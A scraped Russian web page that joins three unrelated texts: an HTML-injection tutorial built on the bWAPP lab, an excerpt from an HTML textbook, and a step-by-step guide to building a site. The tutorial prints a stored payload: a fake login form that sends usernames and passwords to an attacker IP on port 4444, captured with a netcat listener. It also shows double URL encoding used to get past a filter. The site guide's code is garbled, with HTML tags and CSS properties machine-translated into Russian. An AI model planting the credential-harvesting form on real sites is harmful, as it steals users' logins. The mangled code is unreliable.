Пример создания сайта в блокноте html: Как создать простой HTML сайт в блокноте

Содержание

Подробное руководство по HTML-инъекциям / Хабр

HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.

Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.


Содержание:


  • Что такое HTML?
  • Что такое HTML-инъекция?
  • Угрозы HTML-инъекции
  • HTML-инъекция и XSS
  • Типы инъекций
    • Сохраненный HTML
    • Отраженный HTML
      • GET
      • POST
      • Текущий URL
  • Защита от HTML-инъекции

Что такое HTML?

HTML (HyperText Markup Langauge) — это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из «гипертекста», чтобы включить «текст внутри текста» в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.

Что такое элемент?

Элемент — это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними».


HTML-тег

Тег HTML маркирует фрагменты содержимого, такие как:


  • «заголовок»
  • «абзац»
  • «форма» и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:


  • начальный тег (открывающий тег)
  • конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.


Атрибуты HTML

Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами «имя/значение», так что за именем атрибута следует «знак равенства» и значение атрибута.

<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:


  • «href» — это «имя атрибута»
  • «https://alexhost. com» — «значение атрибута»

Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.


Базовая HTML-страница

Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением «.html», которые сохраняются и запускаются через веб-браузер.

Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:

<html>
<head>
<title> Hacking Articles lab</title>
</head>
<body bgcolor="pink">
<br>
<center><h3>WELCOME TO <a href=”http://hackingarticles.in”>HACKING ARTILCES </a></h3>
<br>
<p>Author “Raj Chandel”</p>
</center>
</body>
</html>

  • html — корневой элемент каждой HTML-страницы
  • head — метаинформацию о документе
  • title — заголовок веб-страницы
  • body — видимое содержимое страницы с атрибутом «bgcolor» как «розовый».
  • br — определяет строку разрыва или следующую строку.
  • h2 — большой заголовок.
  • p — абзац
  • a — тег привязки, который помогает нам установить «гиперссылку».

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.

Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.


Что такое HTML-инъекция?

HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.

Возникает, когда веб-страница не может:


  • Дезинфицировать вводимые пользователем данные
  • Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.

Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.

Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную «HTML-форму входа» с приманкой, например, «Бесплатные билеты в кино

», чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.

Теперь на пораженной странице пользователи будут видеть приманку «Бесплатные билеты в кино», при клике по которой откроется фиктивная форма входа, созданная злоумышленником.


Угрозы HTML-инъекции

Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:


  • с использованием межсайтовых скриптов (XSS)
  • подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS

На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.

Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.


Сохраненный HTML

«Сохраненный HTML» — внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML — это «опция комментариев» в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.


Использование сохраненного HTML

Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.

Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра «Choose Your Bug

» значение «HTML Injection – Stored (Blog)» и активировал кнопку взлома.

Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.

Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в «Поле ввода».

Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.

<div>Please login with valid 
credenitals:<br><form name="login" action="http://192. 168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>

На изображении ниже видно, что при нажатии кнопки «Submit» появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.

Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.

nc –lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.

На изображении выше видим, что пользователь «Raj» открыл веб-страницу и попытался войти в учетную запись с помощью пароля «123».

Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.

На изображении видно, что мы успешно получили учетные данные.


Отраженный HTML

Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.

Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.

Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.

Отраженный HTML бывает трех типов:


  • Отраженный HTML GET. Запрашивает данные из определенного источника.
  • Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
  • Отраженный HTML Текущий URL.

Отраженный HTML GET

Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь «Raj Chandel» отправляет свой отзыв как «Good», появляется сообщение «Thanks to Raj Chandel for your valuable time».

Этот мгновенный ответ и пара «имя/значение» в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.

Давайте теперь попробуем ввести несколько HTML-кодов в эту «форму» и проверим уязвима страница или нет.

<h2>Raj Chandel</h2>

Установите «Отзыв» на «Good».

На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.

Почему это произошло? Давайте посмотрим на следующий фрагмент кода.

Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной «$ _GET».

«Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации».

На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.

Значит ли это, что уязвимость здесь залатана?

Давайте проверим все это, перехватив его исходящий запрос с помощью «burp suite», а затем отправим захваченный запрос прямо на вкладку «Repeater».

На вкладке «Repeater», при нажатии кнопки «Go

» мы видим, что HTML объекты были здесь декодированы:

Копируем весь HTML-код:

<a href = http://hackingarticles.inhibited> <h3> Raj </h3> </a>

Вставляем его во вкладку «Decoder», нажимаем «Encode as» и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в «Encode as» для URL, чтобы получить его как в формате двойного URL-кодирования.

Теперь скопируем полный URL с двойной кодировкой и вставим его в поле «name =» на вкладке Repeater в параметре Request. Нажмите кнопку «GO», чтобы проверить сгенерированный ответ.

Отлично!!! На изображении видно, что ответ успешно обработан.

Теперь остается просто внести аналогичные изменения во вкладку «Proxy» и нажать кнопку «

Forward». На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.

Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.

На изображении ниже видно, что здесь разработчик сделал функцию «hack» для переменных данных. Он даже декодировал «<» и «>» для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.

На изображении ниже видно, что разработчик реализовал функцию «hack» в поле имени.


Отраженный HTML POST

Как и в случае с веб-страницей GET, здесь также уязвимы поля «Имя» и «Отзыв».
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.

<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип «Ignite technologies» был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:


  • Видео
  • Аудио
  • Гифки


Отраженный HTML Текущий URL

Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:


  • Поле комментариев
  • Поле поиска
  • Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.

На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как «http://192. 168.0.16/hack/html_URL.php». Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.

Настройте свой «burp suite» и захватите текущий HTTP-запрос.

Теперь обработаем этот запрос с помощью:

/hack/html_URL.php/<h2>Hey_are_you_there?</h2> 

Нажмите кнопку «Forward», чтобы проверить результат в браузере.

Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.

Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на «HTTP_HOST» и запрошенное местоположение ресурса на URL-адрес с «REQUEST_URI» и поместил все это в переменную $url.

Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.


Защита от HTML-инъекции

  • Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
  • Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

Популярный самоучитель» онлайн полностью📖 — Александра Чиртика — MyBook.

Что выбрать

Библиотека

Подписка

📖Книги

🎧Аудиокниги

👌Бесплатные книги

🔥Новинки

❤️Топ книг

🎙Топ аудиокниг

🎙Загрузи свой подкаст

📖Книги

🎧Аудиокниги

👌Бесплатные книги

🔥Новинки

❤️Топ книг

🎙Топ аудиокниг

🎙Загрузи свой подкаст

  1. Главная
  2. Интернет
  3. ⭐️Александр Чиртик
  4. org/ListItem»>📚«HTML: Популярный самоучитель»
  5. Читать

Александр Анатольевич Чиртик


HTML: Популярный самоучитель

Введение

Путешествуя по просторам Всемирной паутины, можно обратить внимание, как различаются между собой оформление и возможности веб-страниц. Однако не каждый пользователь знает, что почти все это разнообразие реализовано на основе одного средства разметки текста – HTML.

Язык разметки гипертекста HTML – стандартное средство представления информации в среде World Wide Web (WWW) в виде веб-страниц. Поскольку HTML является стандартизированным языком разметки, документы, написанные с его использованием, можно легко просматривать и редактировать на компьютерах с различным программным и аппаратным обеспечением.

Cуществует большое количество графических сред, предназначенных для быстрой и качественной разработки веб-сайтов. Тем не менее одной из замечательных особенностей HTML является то, что полноценные веб-страницы можно создавать, имея под рукой лишь простейший текстовый редактор. Создание веб-страниц с использованием HTML и CSS или JavaScript – уже не простое форматирование текста, а интересное занятие, очень похоже на программирование.

Большая часть представленной вашему вниманию книги посвящается именно HTML. В девяти первых главах последовательно изложен материал, в котором рассмотрены практически все возможности «чистого» языка HTML. После изучения этого материала вы научитесь создавать не только простые страницы, но и достаточно сложные сайты, а также познакомитесь со средствами HTML, позволяющими без привлечения дополнительных средств и технологий (например, CSS, DHTML) создавать привлекательный и функциональный интерфейс своих веб-страниц. Последние главы книги посвящены двум более новым технологиям, дополняющим HTML и позволяющим разнообразить и «оживить» статичные по своей природе HTML-документы, – CSS (каскадные таблицы стилей) и DHTML (динамический HTML) с основами DOM (объектной модели документа). В книге также приведен небольшой пример создания сайта целиком и освещены основные вопросы публикации созданного сайта в Интернете.

Большинство примеров, приведенных в книге, достаточно просты, чтобы можно было легко понять, какие именно их части относятся к рассматриваемой теме. При желании тексты примеров можно дополнить самостоятельно, тем более что экспериментирование – это наилучший способ узнать и запомнить как можно больше полезной информации.

Тексты программ на сайте издательства

Тексты программ (листинги), приведенные в книге, вы можете скачать с сайта издательства по адресу http://www.piter.com/download.

От издательства

Ваши замечания, предложения, вопросы отправляйте по следуюшему адресу электронной почты: [email protected] (издательство «Питер», компьютерная редакция).

На сайте издательства http://www.piter.com вы найдете подробную информацию о наших книгах.

Глава 1


Введение в HTML

Итак, почему же HTML так широко распространен и используется для публикации информации в сети Интернет? Своей популярностью HTML во многом обязан удобству навигации между документами и простоте создания самих HTML-документов. Так, нажимая кнопку мыши над участком текста или изображением, можно открывать документы, расположенные в различных частях света на компьютерах с различными операционными системами.

Сеть из связанных между собой гипертекстовых документов является прозрачной для пользователя. Поэтому при работе с ней вас совершенно не заботят операции, которые осуществляются сотнями устройств глобальной компьютерной сети только для того, чтобы доставить на ваш компьютер содержимое HTML-документа.

1.1. Краткая история HTML

Началось все для HTML (а вместе с ним и для WWW) в конце 1980-х годов, когда у ученых из Европейской лаборатории элементарных частиц (CERN) возникла необходимость обмениваться множеством различных документов при помощи быстро развивающейся сети Интернет. Тогда необходимо было придумать способ публикации документов в сети таким образом, чтобы к любому нужному документу можно было легко получить доступ. К тому же нужно было, чтобы документы отображались на всех компьютерах одинаковым образом.

Решение поставленной задачи было найдено сотрудником CERN Бернерс-Ли. В 1989 году Тим Бернерс-Ли создал новый язык форматирования документов. В его основу был положен другой ранее созданный язык – SGML, который предусматривал установку связей между документами с помощью гиперссылок. Новый язык разметки был назван HTML (HyperText Markup Language). Этот же человек реализовал и первую программу для просмотра HTML-документов – браузер.

Затея с гипертекстом очень быстро прижилась. Вскоре в Интернете выросла большая сеть гипертекстовых документов, которую постепенно стали называть World Wide Web. К тому же в 1993 году команда программистов, руководителем которой являлся основатель компании Netscape Марк Андриессен, разработала первый браузер, имеющий полноценный графический интерфейс и позволяющий работать с мышью, – Mosaic. Это не могло не добавить популярности быстро развивающейся Сети.

Со временем Интернет стал востребован не только учеными: к нему пришли и рядовые пользователи, причем их число неуклонно возрастало. Для многих было очевидно, что HTML, не предполагающий никакой динамики в создаваемых с его помощью документах, достаточно скучен и невзрачен. Это дало толчок развитию технологий CSS, введению поддержки апплетов Java, а после и сценариев (первым языком был JavaScript).

Нельзя не отметить, что с образованием и ростом Сети создателей HTML не на шутку взволновала «чистота» своего детища. Существовали небезосновательные опасения, что производители браузеров, которые скоро должны были прийти на рынок, будут «баловать» своих пользователей фирменными нововведениями, которые, естественно, будут поддерживаться только фирменными браузерами. В 1994 году была создана организация, взявшая на себя разработку единых стандартов развития WWW – World Wide Web Consortium (W3C). Эта организация и занялась подготовкой стандартов HTML (начиная с HTML 2.0). Правда, несмотря на наличие W3C, нововведения в HTML начинали поддерживаться производителями браузеров гораздо раньше, чем эта организация их стандартизировала (так, например, обстояло дело с фреймами, с внедрением сценариев в HTML-документы, с объектной моделью документов и т. д.).

Организация W3C существует и сейчас. Она занимается теми же вопросами стандартизации, однако уже давно не HTML (последняя спецификация HTML 4.01 была принята 24 декабря 1999 года). Развитие языка HTML сегодня практически завершено, а основные усилия W3C сконцентрированы на работе над более новыми технологиями, например расширяемым языком разметки XML, языком преобразований XSLT и др. (если интересно, можно заглянуть на www.w3.org – официальный сайт этой организации).

Язык HTML в том виде, в котором он существует сейчас, обладает большим потенциалом представления информации. Причем он рассчитан не только на пользователей персональных компьютеров. Документы HTML можно просматривать на очень большом количестве различных по своим возможностям устройств: от черно-белого экрана мобильного телефона до телетайпа или терминала. Кроме того, в последние версии HTML включен ряд возможностей, облегчающих представление документов неграфическими средствами (например, речевыми синтезаторами), позволяющими пользоваться услугами WWW людям с физическими недостатками.

1.2. Базовые понятия HTML

После маленького исторического экскурса можно наконец-то перейти к практической части. Перед подробным рассмотрением HTML нужно ознакомиться с основными понятиями, используемыми в книге, а также с базовыми элементами языка HTML.

Для начала следует разобраться с тем, что такое HTML-документ. HTML-документ – это обычный текстовый документ, созданный в любом текстовом редакторе, например в Блокноте, и оформленный в соответствии с правилами языка HTML. Для файлов, содержащих HTML-документы, используется расширение HTML или HTM (например, MyWedPage.html или MyWedPage.htm). Расширение HTM использовалось ранее для корректного отображения имен файлов в формате MS-DOS. На самом деле неважно, какое из приведенных расширений использовать.

Далее в книге HTML-документы могут называться просто документами, а также страницами и веб-страницами. Под сайтами в тексте книги подразумевается несколько документов, объединенных единой системой навигации.

Элементы

Элемент – это конструкция языка HTML, содержащая данные. HTML включает в себя различные типы элементов, которые позволяют задавать абзацы, гипертекстовые ссылки, списки, таблицы, изображения и т. д. Конструкция <P>Привет !</P> представляет собой элемент. Обычно элемент можно разделить на три части. Первая часть – <P> – называется открывающим тегом (англ. tag). Далее идет содержание элемента, которое в данном случае состоит из слова Привет !. И наконец, </P> является закрывающим тегом. Как видно, название элемента (P) присутствует и в открывающем, и в закрывающем теге. Регистр символов в названии элемента не имеет значения. Однако в соответствии с соглашениями, принятыми большинством разработчиков, в примерах данной книги названия элементов записаны в верхнем регистре.

Открывающий и закрывающий теги нужны для указания начала и конца элемента. Теги всегда начинаются символом < и заканчиваются символом >. В закрывающем теге перед его именем помещается символ /. Для некоторых типов элементов допускается отсутствие закрывающего тега (например, элемент P, указывающий начало абзаца). Существуют также элементы, не имеющие закрывающего тега, то есть его не просто можно опустить, а он вообще не существует в языке.

Атрибуты

Элементы могут содержать параметры, называемые атрибутами. Атрибуты могут иметь определенные значения (по умолчанию или устанавливаемые авторами). Пара атрибут/значение указывается в начальном теге элемента перед символом >, например:

<BODY bgcolor = «#FF0000»>

Каждому атрибуту может быть присвоено значение определенного типа. В приведенном примере указание атрибута bgcolor (имеющего тип %Color) в элементе BODY приведет к тому, что цвет фона страницы станет красным. Значения атрибутов заключаются в кавычки, хотя в определенных случаях кавычки необязательны.

В начальном теге элемента может быть указано любое количество допустимых пар атрибут/значение, разделенных пробелами, например:

<BODY bgcolor = «#FF0000» text = «#0000FF»>

В приведенном примере устанавливаются красный цвет фона страницы и синий цвет основного текста. При установке значений нескольких атрибутов порядок их записи не имеет значения. Важно отметить, что регистр, в котором записываются названия атрибутов, также не имеет значения. Однако для повышения читабельности HTML-кода названия атрибутов обычно записываются в нижнем регистре (как в приведенных выше и ниже примерах).

Существует любопытная разновидность атрибутов – булевы атрибуты. Для них возможны только два значения: ИСТИНА и ЛОЖЬ. По умолчанию эти атрибуты имеют значение ЛОЖЬ. Чтобы присвоить им истинное значение, достаточно просто указать имя этого атрибута, не присваивая ему никакого значения. Ниже приведен пример, в котором устанавливаются истинные значения двух атрибутов HTML-элемента INPUT:

<INPUT readonly disabled>

Вложенные элементы

Важным моментом HTML является возможность использования вложенных элементов. Элемент, находящийся внутри другого элемента, называется вложенным. Пример использования вложенных элементов для задания начертания шрифта:

<I>Курсив<B>-Полужирный курсив-</B>Курсив</I>


Стандарт

(107 оценок)

Александр Чиртик

На этой странице вы можете прочитать онлайн книгу «HTML: Популярный самоучитель», автора Александра Чиртика. Данная книга относится к жанрам: «Интернет», «Программирование». Произведение затрагивает такие темы, как «веб-программирование», «создание сайтов». Книга «HTML: Популярный самоучитель» была написана в 2008 и издана в 2008 году. Приятного чтения!

О проекте

Что такое MyBook

Правовая информация

Правообладателям

Документация

Помощь

О подписке

Купить подписку

Бесплатные книги

Подарить подписку

Как оплатить

Ввести подарочный код

Библиотека для компаний

Настройки

Другие проекты

Издать свою книгу

MyBook: Истории

Создание веб-сайта с помощью HTML за 7 простых шагов

Развитие веб-сайта Производство

18 апреля 2023 г.

Арис Б.

8 минут Чтение

В настоящее время создать веб-сайт просто и не требует знаний программирования. Платформы, такие как WordPress или конструктор веб-сайтов, предлагают простой визуальный интерфейс и функции перетаскивания, чтобы упростить процесс разработки.

Однако вы можете создавать веб-сайты с нуля с помощью языка гипертекстовой разметки (HTML). Хотя это сложнее, веб-сайты HTML более гибкие и быстрые, поскольку для их работы требуется меньше ресурсов.

Чтобы помочь вам начать работу, эта статья объяснит шаги по созданию веб-сайта с помощью HTML. Мы также предоставим вам методы после разработки, чтобы улучшить внешний вид и функциональность вашего HTML-сайта.

Загрузить контрольный список запуска веб-сайта

Как создать веб-сайт с помощью HTML

В этом разделе приведены пошаговые инструкции по кодированию сайта с помощью HTML. Прежде чем продолжить, обратитесь к нашей памятке по HTML, если вы не знакомы со стандартным языком разметки.

1. Выберите редактор HTML-кода

Редактор кода — это программа, используемая для написания вашего веб-сайта. Хотя вы можете создать HTML-страницу с помощью текстового редактора по умолчанию, такого как Блокнот, в нем отсутствуют функции, которые упрощают процесс разработки, такие как:

  • Подсветка синтаксиса помечает теги HTML разными цветами в зависимости от их категорий. Это упрощает чтение и понимание структуры кода.
  • Автодополнение — автоматически предлагает HTML-атрибуты, теги и элементы на основе предыдущего значения для ускорения процесса кодирования.
  • Обнаружение ошибок — выделяет синтаксические ошибки, позволяя веб-разработчику быстро заметить и исправить их.
  • Интеграция — некоторые редакторы кода интегрируются с плагинами, Git и FTP-клиентами, чтобы сделать процесс развертывания более эффективным.
  • Предварительный просмотр в реальном времени — вместо того, чтобы вручную открывать HTML-файлы в браузерах, вы можете установить плагин для предварительного просмотра сайта в реальном времени.

Поскольку существует множество вариантов, мы перечислили некоторые из лучших редакторов HTML-кода, чтобы помочь вам найти тот, который соответствует вашим потребностям:

  • Notepad++ — бесплатный легкий текстовый редактор с дополнительными функциями для написания кода и поддержкой плагинов.
  • Atom — HTML-редактор с открытым исходным кодом, функцией предварительного просмотра веб-сайта в реальном времени и широкой совместимостью с языками разметки и сценариев.
  • Visual Studio Code (VSCode) — популярный инструмент для веб-разработки с обширной библиотекой расширений для расширения его функциональных возможностей.

2. План расположения объекта

Создание плана макета позволяет лучше визуализировать внешний вид вашего веб-сайта. Вы также можете использовать его в качестве контрольного списка, чтобы отслеживать, какие элементы следует включить на ваш сайт.

Кроме того, план макета помогает вам определить удобство использования и навигации вашего сайта, которые влияют на взаимодействие с пользователем. Некоторые элементы, которые следует учитывать при планировании, включают верхний и нижний колонтитулы сайтов и навигацию.

Вы можете использовать ручку и бумагу или программное обеспечение для веб-дизайна, такое как Figma, для разработки макета веб-сайта. Он не должен быть подробным, если он примерно представляет внешний вид вашего сайта.

3. Напишите HTML-код

Когда инструмент и план макета будут готовы, вы можете приступить к написанию кода своего сайта. Шаги могут различаться в зависимости от вашего редактора кода, но общая идея аналогична.

В этом уроке мы покажем вам, как это сделать, используя VSCode :

  1. Создайте новую папку на вашем компьютере. Это будет каталог для всех файлов вашего сайта.
  2. Открыть VSCode → Файл Открыть папку .
  3. Найдите новую папку и нажмите Выберите папку .
  4. Выберите Новый файл . Назовите файл index.html и нажмите введите .
  5. Нажмите Создать файл для подтверждения.
  6. При появлении запроса на вкладку редактора index.html введите следующую базовую структуру HTML-документа:
 

   <голова>
      <название> 
   
   <тело>
   
 

Чтобы помочь вам понять код, вот объяснение каждого тега:

  • — сообщает веб-браузерам, что веб-сайт является HTML-страницей.
  • — тег открытия документа HTML, указывающий, где начинается код.
  • — тег, содержащий метаданные сайта.
  • </strong> — определяет текст, отображаемый на вкладке браузера при посещении веб-страницы.</li><li> <strong><body> </strong> — содержит весь видимый контент на веб-странице.</li></ul><h5><span class="ez-toc-section" id="Pro_Tip"> Pro Tip </span></h5><p> Узнайте разницу между созданием веб-сайта с использованием WordPress и HTML, чтобы узнать, какой метод подходит вам лучше всего.</p><h4><span class="ez-toc-section" id="4"> 4. Создание элементов макета </span></h4><p> Добавьте код HTML в файл <strong> index.html </strong> для создания элементов запланированного макета. В зависимости от дизайна вашего веб-сайта вам потребуются различные семантические элементы HTML.</p><p> Эти элементы разделят ваш сайт на несколько разделов и станут контейнерами для содержимого. Вот теги, которые мы будем использовать:</p><ul><li> <strong><header> </strong> — контейнер для вводного контента или навигации.<img class="lazy lazy-hidden" loading='lazy' src="//russia-dropshipping.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src='/800/600/http/i.pinimg.com/originals/76/a6/78/76a6782b55299c0ef1b63948ef8fbebb.png' /><noscript><img loading='lazy' src='/800/600/http/i.pinimg.com/originals/76/a6/78/76a6782b55299c0ef1b63948ef8fbebb.png' /></noscript></li><li> <strong><main> </strong> — представляет основной контент веб-страницы.</li><li> <strong><div> </strong> — определяет раздел в HTML-документе.</li><li> <strong><footer> </strong> — содержит контент, отображаемый внизу вашего сайта.</li></ul><p> Поместите эти элементы в теги <strong><body><script defer src="https://russia-dropshipping.ru/wp-content/cache/autoptimize/js/autoptimize_fa70dbb301f98c3787e722032fcdf308.js"></script></body> </strong> в вашем <strong> index.html </strong> код файла. Обязательно закрывайте каждый элемент закрывающим тегом, иначе ваш код не будет работать.</p><p> Вот как выглядит полный код:</p><pre> <!DOCTYPE html> <html> <голова> <title>Личный блог <тело> <заголовок> <основной>
    <нижний колонтитул>

    5. Добавьте HTML-контент

    После того, как макет будет готов, начните заполнять его контентом вашего сайта, например текстом, изображениями, гиперссылками или видео. Если контент не готов, используйте фиктивный контент в качестве заполнителя и замените его позже.

    Вот некоторые теги, которые мы будем использовать для добавления содержимого веб-сайта:

    Pro Tip

    Тег также имеет необязательный атрибут alt . Он описывает изображение на случай, если файл не загружается.

    Вот как выглядит код:

     
    
       <голова>
          Личный блог
          
       <тело>
          <заголовок>
           

    Ваш личный блог

    <навигация>
    tld/home">Домашняя страница Блог О нас <основной>

    Самая новая запись

    <раздел>

    Первое сообщение

    Содержание первого сообщения

    Обо мне

    Об авторе

    <нижний колонтитул> Твиттер Фейсбук Инстаграм

    После добавления кода ваш HTML-сайт будет иметь внешний вид. Вот как это выглядит:

    6. Включить макет CSS

    Поскольку HTML позволяет создавать только структуру веб-сайта и добавлять основной контент, используйте каскадные таблицы стилей (CSS), чтобы изменить его макет. CSS — это язык, который определяет стиль вашего HTML-документа.

    Для этого создайте файл style.css и свяжите таблицу стилей с документом HTML, добавив следующий код между открывающие и закрывающие теги index.html:

      

    Чтобы сделать двухколоночный макет веб-сайта, мы будем использовать свойство flex . Он упорядочивает элементы HTML с помощью гибких контейнеров, позволяя им подстраиваться под размер экрана пользователя.

    Вот как выглядит полный код:

     /*стиль заголовка*/
    заголовок {
       выравнивание текста: по центру;
       отступ: 20 пикселей;
    }
    /*стиль меню навигации*/
    навигация {
       выравнивание текста: по центру;
       интервал между словами: 30px;
       Отступ: 10 пикселей;
    }
    /*создание двухколоночного макета*/
    *{
       box-sizing: граница-коробка;
    }
    .ряд {
       дисплей: гибкий;
       flex-wrap: обернуть;
    }
    .post-текстовое поле {
       гибкость: 70%;
       отступ: 20 пикселей;
    }
    . профиль {
       гибкость: 70%;
       отступ: 20 пикселей;
    }
    /*изображение профиля и стиль заголовка*/
    .профиль изображения {
       ширина: 120 пикселей;
       дисплей: блок;
       поле слева: 0;
       поле справа: 0;
    }
    .профиль h2 {
       выравнивание текста: по центру;
    } 

    После добавления фрагмента кода в файл CSS веб-сайт будет выглядеть следующим образом:

    Рекомендуемая литература

    Изучите различные типы CSS, включая встроенный, внешний и внутренний.

    7. Настройте свой сайт

    Помимо изменения макета, используйте CSS для настройки других визуальных аспектов вашего сайта. Например, вы можете изменить семейство шрифтов и фоновое изображение.

    Чтобы изменить внешний вид вашего веб-сайта, добавьте свойства CSS в элемент, который вы хотите настроить. Например, вот код для стилизации цвета фона и текстовых элементов строки меню навигации:

     /*стиль панели навигации*/
    навигация {
       выравнивание текста: по центру;
       интервал между словами: 30px;
       отступ: 10 пикселей;
       цвет фона: #f5f5dc
       семейство шрифтов: Helvetica;
       
    }
    /*стиль кнопки панели навигации*/
    навигация {
       цвет: #000000;
       текстовое оформление: нет;
       размер шрифта: больше;
    } 

    После добавления стилей CSS для каждого элемента веб-сайт выглядит следующим образом:

    Действия после создания веб-сайта в формате HTML

    В этом разделе объясняются действия, которые необходимо выполнить после создания веб-сайта с использованием HTML и CSS. Эти шаги сделают ваш сайт доступным и более функциональным.

    Разместите сайт на правильной платформе

    Чтобы сделать ваш сайт доступным через Интернет, воспользуйтесь услугой веб-хостинга. У многих хостинг-провайдеров есть разные планы, которые удовлетворяют различные потребности пользователей.

    Поскольку веб-страницы HTML легкие и требуют мало ресурсов для загрузки, достаточно базового плана виртуального хостинга.

